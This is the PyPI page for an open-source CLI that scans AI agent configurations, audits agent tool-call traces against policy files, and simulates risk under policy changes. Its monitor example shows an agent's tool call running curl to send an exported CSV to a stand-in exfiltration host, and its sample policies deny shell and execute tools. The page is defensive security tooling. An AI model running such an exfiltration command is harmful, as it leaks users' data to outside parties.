Skip to main content

Open-source AI Agent Security Scanner โ€” OWASP ZAP for AI Agents

Project description

๐Ÿ›ก๏ธ Pluto AgentGuard

Open-source AI Agent Security Scanner โ€” "OWASP ZAP for AI Agents"

CI License: Apache-2.0 Python 3.10+ PyPI


The Problem

Guardrails (Azure AI Content Safety, NeMo, Guardrails AI) protect what LLMs say. But modern AI agents don't just generate text โ€” they call tools, query databases, write files, and chain actions across systems via MCP. Nobody is watching what they actually do.

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                     EXISTING GUARDRAILS                          โ”‚
โ”‚         "Is this prompt safe?" / "Is this output toxic?"         โ”‚
โ”‚                   โœ… Solved by Foundry, NeMo, etc.               โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                                                                  โ”‚
โ”‚                     โฌ‡๏ธ  GAP โฌ‡๏ธ                                   โ”‚
โ”‚                                                                  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                   PLUTO AGENTGUARD                               โ”‚
โ”‚     "What tools did the agent call? Was it authorized?           โ”‚
โ”‚      Did it exceed its permissions? What if we restrict it?"     โ”‚
โ”‚                   ๐Ÿ”ด This is what we solve.                      โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

What It Does

Pluto AgentGuard is a CLI tool that you run against your AI agent project to find security issues, monitor behavior, and simulate policy changes.

graph LR
    A[Your Agent Project] -->|aguard scan| B[๐Ÿ” Static Scanner]
    A -->|aguard monitor| C[๐Ÿ“ก Behavioral Monitor]
    A -->|aguard whatif| D[๐Ÿ”ฎ Policy Simulator]

    B --> E[MCP Config Vulnerabilities]
    B --> F[Hardcoded Secrets]
    B --> G[Over-Permissioned Agents]

    C --> H[Unauthorized Tool Calls]
    C --> I[Permission Drift]
    C --> J[Data Access Violations]

    D --> K[Risk Score Before/After]
    D --> L[Policy Recommendations]

    E & F & G & H & I & J & K & L --> M[๐Ÿ“Š Report<br/>HTML / JSON / Terminal]

Three Commands, Three Capabilities

Command What It Does Input Output
aguard scan Finds security vulnerabilities in your agent configuration files Agent project directory Risk score + findings (OWASP MCP Top 10 mapped)
aguard monitor Replays agent traces and flags policy violations OpenTelemetry trace file (JSONL) + policy file (YAML) Violation report with drift detection
aguard whatif Simulates "what if I apply this policy?" and shows risk delta Agent config file (YAML) Before/after risk scores + recommendations

Prerequisites

Requirement Version Check
Python 3.10 or higher python --version
pip Any recent version pip --version
OS Windows, macOS, or Linux Any

No cloud accounts, API keys, or external services required. AgentGuard runs entirely locally.

Installation

From PyPI (recommended)

pip install pluto-aguard

From source (development)

git clone https://github.com/arpitha-dhanapathi/pluto-aguard.git
cd pluto-aguard
python -m venv .venv

# Activate virtual environment
source .venv/bin/activate      # macOS / Linux
.venv\Scripts\activate         # Windows

pip install -e ".[dev]"

Verify installation

aguard --version
# pluto-aguard, version 0.1.0

Quick Start: Try It in 60 Seconds

The repo includes example files so you can test immediately after install:

# Clone the repo (for examples)
git clone https://github.com/arpitha-dhanapathi/pluto-aguard.git
cd pluto-aguard

# 1. SCAN โ€” find vulnerabilities in the intentionally insecure example
aguard scan ./examples/

# 2. MONITOR โ€” replay agent traces and detect policy violations
aguard monitor --trace-file ./examples/sample-traces.jsonl --policy ./examples/agent-policy.yaml

# 3. WHATIF โ€” simulate policy changes on the insecure config
aguard whatif --config ./examples/insecure-agent-config.yaml

Features in Detail

1. aguard scan โ€” Static Security Analysis

Scans your project directory for MCP configuration files, agent configs, and source code. Detects vulnerabilities mapped to the OWASP MCP Top 10.

What it scans for:

graph TD
    SCAN[aguard scan ./project/] --> A[MCP Config Files]
    SCAN --> B[Agent Config Files]
    SCAN --> C[Source & Env Files]

    A --> A1[๐Ÿ”ด Wildcard permissions โ€” OWASP-MCP-03]
    A --> A2[๐Ÿ”ด Missing auth on remote servers โ€” OWASP-MCP-01]
    A --> A3[๐Ÿ”ด Tool poisoning in descriptions โ€” OWASP-MCP-02]
    A --> A4[๐ŸŸ  HTTP transport, no TLS โ€” OWASP-MCP-06]
    A --> A5[๐ŸŸ  Dangerous tools without HITL โ€” OWASP-MCP-04]
    A --> A6[๐ŸŸก Static long-lived tokens โ€” OWASP-MCP-05]

    B --> B1[๐ŸŸ  No declared permissions]
    B --> B2[๐ŸŸ  Unrestricted data access]
    B --> B3[๐ŸŸก Missing timeout/rate limits]

    C --> C1[๐ŸŸ  Hardcoded API keys โ€” OWASP-MCP-07]
    C --> C2[๐ŸŸ  Connection strings with credentials]
    C --> C3[๐ŸŸ  Private keys in config]

File patterns scanned:

File Pattern What's Checked
mcp.json, mcp.yaml, .mcp.json MCP server configs (permissions, transport, auth, tools)
agent-config.yaml, agent.yaml Agent permissions, HITL gates, data access rules, limits
*.env, *.json, *.yaml, *.py, *.js, *.ts Hardcoded secrets (10+ patterns: AWS, OpenAI, GitHub, Slack, Azure, etc.)

Example output:

$ aguard scan ./my-agent-project/

๐Ÿ” Scanning /home/user/my-agent-project...

  Scanning MCP configurations and secrets...
  Scanning agent permission configurations...
  ๐Ÿ”ด CRITICAL: Wildcard permissions on MCP server 'postgres-server' (OWASP-MCP-03)
     ๐Ÿ“„ mcp.json:5
  ๐Ÿ”ด CRITICAL: No authentication on remote MCP server 'api-gateway' (OWASP-MCP-01)
     ๐Ÿ“„ mcp.json:12
  ๐ŸŸ  HIGH: Hardcoded OpenAI Key detected (OWASP-MCP-07)
     ๐Ÿ“„ .env:3
     Evidence: sk-p****XYZ1
  ๐ŸŸ  HIGH: Dangerous tools without human approval on 'data-agent' (OWASP-MCP-04)
     ๐Ÿ“„ agent-config.yaml
  ๐ŸŸก MEDIUM: No timeout or rate limits on agent 'data-agent'
     ๐Ÿ“„ agent-config.yaml

  ๐Ÿ“Š Risk Score: 72/100 โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘
  ๐Ÿ“‹ Findings: 2 critical ยท 2 high ยท 1 medium
  ๐Ÿ“‚ Scanned 47 files in 38ms

Output formats:

aguard scan ./project/                       # Terminal (default)
aguard scan ./project/ --format json         # JSON (for CI pipelines)
aguard scan ./project/ --format html -o report.html  # Interactive HTML report

2. aguard monitor โ€” Runtime Behavioral Audit

Replays recorded agent traces and checks every action against a declared policy. Detects when agents exceed their permissions.

How it works:

sequenceDiagram
    participant Traces as Agent Traces<br/>(JSONL file)
    participant Monitor as aguard monitor
    participant Policy as Agent Policy<br/>(YAML file)
    participant Report as Violation Report

    Traces->>Monitor: Turn 1: sql_query("SELECT * FROM users")
    Monitor->>Policy: Is sql_query allowed?
    Policy-->>Monitor: โœ… Allowed (read)
    Monitor->>Report: โœ… No violation

    Traces->>Monitor: Turn 2: file_write("/tmp/data.csv")
    Monitor->>Policy: Is file_write allowed?
    Policy-->>Monitor: โŒ Not in allowed_tools
    Monitor->>Report: ๐Ÿšจ DRIFT: Unauthorized tool

    Traces->>Monitor: Turn 3: execute("curl exfil.io")
    Monitor->>Policy: Is execute allowed?
    Policy-->>Monitor: โŒ Explicitly denied
    Monitor->>Report: ๐Ÿ”ด CRITICAL: Denied tool invoked

What it detects:

Violation Type Severity Example
Denied tool invoked ๐Ÿ”ด Critical Agent called execute which is in denied_tools
Unauthorized tool ๐ŸŸ  High Agent called file_write which is not in allowed_tools
Permission escalation ๐Ÿ”ด Critical Agent did a DELETE via sql_query but only has read permission
Missing approval ๐ŸŸ  High Agent called deploy without human-in-the-loop approval

Trace file format (JSONL โ€” one JSON object per line):

{"name": "sql_query", "attributes": {"turn": 1, "action_type": "tool_call", "tool.name": "sql_query", "tool.args": {"query": "SELECT * FROM users"}}}
{"name": "file_write", "attributes": {"turn": 2, "action_type": "tool_call", "tool.name": "file_write", "tool.args": {"path": "/tmp/export.csv"}}}

Policy file format (YAML):

name: my-agent
allowed_tools:
  - sql_query
  - send_message
denied_tools:
  - execute
  - shell
max_permissions:
  sql_query: "read"
require_human_approval:
  - file_write
  - deploy

Example output:

$ aguard monitor --trace-file traces.jsonl --policy agent-policy.yaml

๐Ÿ“ก Monitoring agent behavior...

  Turn 1: ๐Ÿ”ง sql_query({"query": "SELECT * FROM financials WHERE quarter = 'Q2'"})
  Turn 2: ๐Ÿ”ง file_write({"path": "/tmp/export.csv", "content": "..."})
     ๐Ÿšจ DRIFT: Agent invoked unauthorized tool 'file_write'
        โ†’ Agent called 'file_write' which is not in the allowed_tools list.
     ๐Ÿšจ DRIFT: Tool 'file_write' used without human approval
        โ†’ 'file_write' requires human-in-the-loop approval, but no record found.
  Turn 3: ๐Ÿ”ง execute({"command": "curl https://exfil.io -d @/tmp/export.csv"})
     ๐Ÿšจ DRIFT: Agent invoked denied tool 'execute'
        โ†’ 'execute' is explicitly listed in denied_tools. Possible prompt injection.

๐Ÿšจ 3 policy violations detected

3. aguard whatif โ€” Policy Impact Simulator

The unique feature no other tool has โ€” commercial or open-source. Simulates what happens to your risk score if you apply specific security policies, before you actually change anything.

How it works:

graph TD
    Config[Agent Config<br/>agent-config.yaml] --> Engine[Risk Scoring Engine]
    Engine --> Score1[Current Risk Score: 82/100]

    Score1 --> Sim1[Simulate: Restrict SQL to read-only]
    Score1 --> Sim2[Simulate: Add HITL for file ops]
    Score1 --> Sim3[Simulate: Add rate limits]

    Sim1 --> R1["Score: 68 (โ†“17%)"]
    Sim2 --> R2["Score: 54 (โ†“34%)"]
    Sim3 --> R3["Score: 48 (โ†“41%)"]

    R1 & R2 & R3 --> Combined["Combined: 38/100 (โ†“54%)<br/>๐Ÿ’ก Top recommendation"]

Built-in policy simulations:

Policy What It Simulates
restrict-sql-readonly Lock SQL tools to SELECT only
add-hitl-file-ops Require human approval for file write/delete
ephemeral-tokens Switch from static API keys to short-lived tokens
add-rate-limits Add rate limit (100 calls/min) and timeout (5 min)
restrict-network-egress Allowlist outbound network destinations
add-tool-allowlist Switch from implicit-allow to explicit tool allowlist
sandbox-execution Run agent in sandboxed/isolated environment

Example output:

$ aguard whatif --config agent-config.yaml

๐Ÿ”ฎ What-If Policy Simulator

  Agent config: agent-config.yaml
  Current Risk Score: 100/100

  Simulating policy changes:

  โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”ณโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”ณโ”โ”โ”โ”โ”โ”โ”โ”โ”“
  โ”ƒ Policy                                            โ”ƒ New Score โ”ƒ Change โ”ƒ
  โ”กโ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ•‡โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ•‡โ”โ”โ”โ”โ”โ”โ”โ”โ”ฉ
  โ”‚  โœ… Restrict SQL tool to SELECT-only              โ”‚       68  โ”‚  โ†“ 17% โ”‚
  โ”‚  โœ… Add human-in-the-loop for file operations     โ”‚       54  โ”‚  โ†“ 34% โ”‚
  โ”‚  โœ… Add rate limits and timeout                   โ”‚       48  โ”‚  โ†“ 41% โ”‚
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

  Combined impact (all 3 effective policies):
  ๐Ÿ’ก Risk drops from 82 โ†’ 38 (โ†“54%)
  ๐Ÿ“Œ Permission restrictions are the highest-impact changes. Implement these first.

How It Fits Into Your Stack

AgentGuard sits above your existing guardrails โ€” it doesn't replace them.

graph TB
    subgraph "Your AI Agent Application"
        User[User] --> Agent[AI Agent]
        Agent --> LLM[LLM API]
        Agent --> Tools[MCP Tools / APIs]
        Agent --> Data[Databases / Files]
    end

    subgraph "Layer 1: Content Guardrails โ€” existing tools"
        LLM -.->|prompt/response| CG[Azure Content Safety<br/>NeMo Guardrails<br/>Guardrails AI]
    end

    subgraph "Layer 2: Agent Security โ€” Pluto AgentGuard"
        Tools -.->|tool calls| AG_MON[aguard monitor<br/>Behavioral audit]
        Agent -.->|config files| AG_SCAN[aguard scan<br/>Static analysis]
        Agent -.->|agent config| AG_SIM[aguard whatif<br/>Policy simulation]
    end

    style AG_MON fill:#dc2626,color:#fff
    style AG_SCAN fill:#dc2626,color:#fff
    style AG_SIM fill:#dc2626,color:#fff
    style CG fill:#2563eb,color:#fff

Integration Guide

With an existing MCP project

If you have MCP server configurations (mcp.json, claude_desktop_config.json, etc.):

# Point scan at your project root
aguard scan /path/to/your/project/

# It will auto-discover mcp.json, .mcp.yaml, agent configs, .env files

With OpenTelemetry-instrumented agents

If your agent emits OpenTelemetry spans:

# Export traces to JSONL
# (most OTel exporters support JSONL via file exporter)

# Run monitor against the trace file
aguard monitor --trace-file ./traces.jsonl --policy ./my-policy.yaml

With any agent framework

Create a simple trace file from your agent's logs:

{"turn": 1, "action_type": "tool_call", "tool_name": "sql_query", "tool_args": {"query": "SELECT * FROM users"}}
{"turn": 2, "action_type": "tool_call", "tool_name": "file_write", "tool_args": {"path": "/tmp/out.csv"}}

Then monitor:

aguard monitor --trace-file my-traces.jsonl --policy my-policy.yaml

In CI/CD pipelines

# .github/workflows/agent-security.yml
- name: Agent Security Scan
  run: |
    pip install pluto-aguard
    aguard scan . --format json -o aguard-results.json

- name: Check risk score
  run: |
    python -c "
    import json
    r = json.load(open('aguard-results.json'))
    score = r['risk_score']['overall']
    print(f'Risk score: {score}')
    assert score < 50, f'Risk score {score} exceeds threshold of 50'
    "

Testing in Your Environment

Step 1: Verify with the included examples

# These should work immediately after install
aguard scan ./examples/                    # Should find 3+ findings
aguard monitor --trace-file ./examples/sample-traces.jsonl --policy ./examples/agent-policy.yaml  # Should find 5 violations
aguard whatif --config ./examples/insecure-agent-config.yaml  # Should show risk score of 100

Step 2: Scan your own project

# Point at any directory with agent configs
aguard scan /path/to/your/agent-project/

# What to expect:
# - If you have mcp.json / .mcp.yaml files โ†’ MCP config findings
# - If you have .env files โ†’ secret detection findings
# - If you have agent-config.yaml files โ†’ permission findings
# - If none of these exist โ†’ "No security issues found!"

Step 3: Create a policy for your agent

# my-policy.yaml
name: my-agent
allowed_tools:
  - search
  - summarize
denied_tools:
  - execute
  - shell
max_permissions:
  search: "read"
require_human_approval:
  - file_write

Step 4: Monitor your agent's behavior

# Record your agent's tool calls as JSONL (see format above)
# Then run:
aguard monitor --trace-file my-agent-traces.jsonl --policy my-policy.yaml

What should be true for a healthy scan

โœ… Passing โŒ Failing
No wildcard (*) permissions on MCP servers Wildcard permissions on any server
All remote MCP servers have authentication Unauthenticated remote servers
No hardcoded secrets in config files API keys, tokens in source/config
Dangerous tools require human approval execute, shell, file_write without HITL
Agent has timeout and rate limits No resource constraints
Tool descriptions are clean Suspicious text in tool metadata (poisoning)
Risk score < 50 Risk score โ‰ฅ 50

Project Structure

pluto-aguard/
โ”œโ”€โ”€ src/pluto_aguard/
โ”‚   โ”œโ”€โ”€ cli.py                     # CLI entry point (aguard command)
โ”‚   โ”œโ”€โ”€ models.py                  # Pydantic data models (Finding, RiskScore, etc.)
โ”‚   โ”œโ”€โ”€ scanners/
โ”‚   โ”‚   โ”œโ”€โ”€ mcp_scanner.py         # MCP config + secret scanner
โ”‚   โ”‚   โ”œโ”€โ”€ permission_scanner.py  # Agent permission analyzer + risk scorer
โ”‚   โ”‚   โ””โ”€โ”€ runner.py              # Scan orchestrator
โ”‚   โ”œโ”€โ”€ monitor/
โ”‚   โ”‚   โ””โ”€โ”€ runner.py              # Behavioral monitor + drift detector
โ”‚   โ”œโ”€โ”€ simulator/
โ”‚   โ”‚   โ””โ”€โ”€ runner.py              # What-If policy simulator
โ”‚   โ”œโ”€โ”€ reports/
โ”‚   โ”‚   โ””โ”€โ”€ html_report.py         # HTML report generator
โ”‚   โ””โ”€โ”€ rules/
โ”‚       โ””โ”€โ”€ owasp_mcp_top10.yaml   # OWASP MCP Top 10 rule definitions
โ”œโ”€โ”€ examples/
โ”‚   โ”œโ”€โ”€ insecure-agent-config.yaml # Intentionally vulnerable (for testing)
โ”‚   โ”œโ”€โ”€ secure-agent-config.yaml   # Best-practice example
โ”‚   โ”œโ”€โ”€ agent-policy.yaml          # Example policy file
โ”‚   โ””โ”€โ”€ sample-traces.jsonl        # Example agent traces
โ”œโ”€โ”€ tests/                         # 35 tests across all modules
โ”œโ”€โ”€ .github/workflows/
โ”‚   โ”œโ”€โ”€ ci.yml                     # CI: pytest + ruff on every push
โ”‚   โ””โ”€โ”€ publish.yml                # Auto-publish to PyPI on release
โ”œโ”€โ”€ pyproject.toml                 # Package configuration
โ””โ”€โ”€ README.md

Why This Exists

Problem Today's Landscape AgentGuard's Answer
Content safety (toxic prompts/responses) โœ… Solved by Azure Content Safety, NeMo, Guardrails AI Not our scope โ€” use those tools
What tools did the agent call? โŒ No tool audits this aguard monitor
Did the agent exceed its permissions? โŒ No tool detects drift aguard monitor with policy
Are my MCP configs secure? ๐ŸŸก Cisco scanner (basic) aguard scan (deep, OWASP-mapped)
What if I restrict this permission? โŒ Nobody does this aguard whatif (unique)
Are secrets in my agent configs? ๐ŸŸก Generic secret scanners exist aguard scan (agent-aware context)

Roadmap

  • v0.1 โ€” MCP config scanner + secret detection + OWASP MCP Top 10 rules
  • v0.2 โ€” Runtime behavioral monitor with OpenTelemetry trace ingestion
  • v0.3 โ€” Permission drift detection engine
  • v0.4 โ€” What-If policy simulator with risk scoring
  • v0.5 โ€” HTML report generator
  • v1.0 โ€” Multi-framework adapters (LangChain, CrewAI, AutoGen, Foundry)
  • v1.1 โ€” SARIF output for GitHub Advanced Security integration
  • v1.2 โ€” Live agent monitoring (real-time stdin mode)
  • v1.3 โ€” Custom rule authoring SDK

Contributing

Contributions welcome! See CONTRIBUTING.md for setup instructions and guidelines.

License

Apache License 2.0 โ€” see LICENSE for details.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pluto_aguard-0.1.0.tar.gz (34.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pluto_aguard-0.1.0-py3-none-any.whl (35.1 kB view details)

Uploaded Python 3

File details

Details for the file pluto_aguard-0.1.0.tar.gz.

File metadata

  • Download URL: pluto_aguard-0.1.0.tar.gz
  • Upload date:
  • Size: 34.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for pluto_aguard-0.1.0.tar.gz
Algorithm Hash digest
SHA256 21a80a981d09df601e9f861fa2018ac6e6c67100ec92250ed6f62c0548c8e129
MD5 470aaf205a734317a2ce1cd7acb6d694
BLAKE2b-256 387916b22f1e699b597ced015b5d13507c8e2d1c4fee27155092101a5bc15d34

See more details on using hashes here.

Provenance

The following attestation bundles were made for pluto_aguard-0.1.0.tar.gz:

Publisher: publish.yml on arpitha-dhanapathi/pluto-aguard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file pluto_aguard-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: pluto_aguard-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 35.1 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.12

File hashes

Hashes for pluto_aguard-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 12d813652c0fe2faac9468fef9a59a9ad0cce5999249af76821f4b883be6d88d
MD5 fa176db9acabcf1213a3a4cb4efdc320
BLAKE2b-256 8c87bb94b986d380118930425f20f5f88b4d249585dbd3ebc5a6795d08a950b9

See more details on using hashes here.

Provenance

The following attestation bundles were made for pluto_aguard-0.1.0-py3-none-any.whl:

Publisher: publish.yml on arpitha-dhanapathi/pluto-aguard

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page